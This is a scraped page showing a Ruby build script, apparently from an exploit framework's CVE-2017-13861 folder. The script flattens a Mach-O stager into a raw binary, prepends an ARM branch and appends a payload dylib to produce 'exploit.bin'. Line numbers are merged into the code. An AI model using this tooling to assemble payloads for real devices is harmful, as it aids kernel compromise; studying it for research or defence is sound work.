Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/create_bin.rb
Views: 11780
#!/usr/bin/env ruby1# -*- coding: binary -*-23require 'macho'45stager_file = ARGV[0]6data = File.binread(stager_file)7macho = MachO::MachOFile.new_from_bin(data)8main_func = macho[:LC_MAIN].first9entry_offset = main_func.entryoff1011start = -112min = -113max = 014for segment in macho.segments15next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]16puts "segment: #{segment.segname} #{segment.vmaddr.to_s(16)}"17if min == -1 or min > segment.vmaddr18min = segment.vmaddr19end20if max < segment.vmaddr + segment.vmsize21max = segment.vmaddr + segment.vmsize22end23end2425puts "data: #{min.to_s(16)} -> #{max.to_s(16)} #{(max - min).to_s(16)}"26output_data = "\x00" * (max - min)2728for segment in macho.segments29#next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]30puts "segment: #{segment.segname} off: #{segment.offset.to_s(16)} vmaddr: #{segment.vmaddr.to_s(16)} fileoff: #{segment.fileoff.to_s(16)}"31for section in segment.sections32puts "section: #{section.sectname} off: #{section.offset.to_s(16)} addr: #{section.addr.to_s(16)} size: #{section.size.to_s(16)}"33flat_addr = section.addr - min34section_data = data[section.offset, section.size]35#file_section = section.offset36#puts "info: #{segment.fileoff.to_s(16)} #{segment.offset.to_s(16)} #{section.size.to_s(16)} #{file_section.to_s(16)}"37#puts "?: #{data.size.to_s(16)} #{file_section.to_s(16)}"38if section_data39puts "flat_addr: #{flat_addr.to_s(16)} (#{section_data.size.to_s(16)})"40if start == -1 or start > flat_addr41start = flat_addr42end43output_data[flat_addr, section_data.size] = section_data44end45end46end4748puts "start: #{start.to_s(16)}"49branch = `rasm2 -b 64 -a arm "b 0x#{start.to_s(16)}"`50puts "branch: #{branch}"51output_data[0,4] = [ branch[0..7] ].pack("H*")5253puts "size: #{output_data.length}"54add_dylib = 0x1000055padding = "\x00" * (add_dylib - output_data.length)56output_data = output_data + padding5758payload = File.binread("payload.dylib")59output_data[add_dylib, payload.size] = payload6061puts "final size: #{output_data.length}"62File.binwrite("exploit.bin", output_data)63646566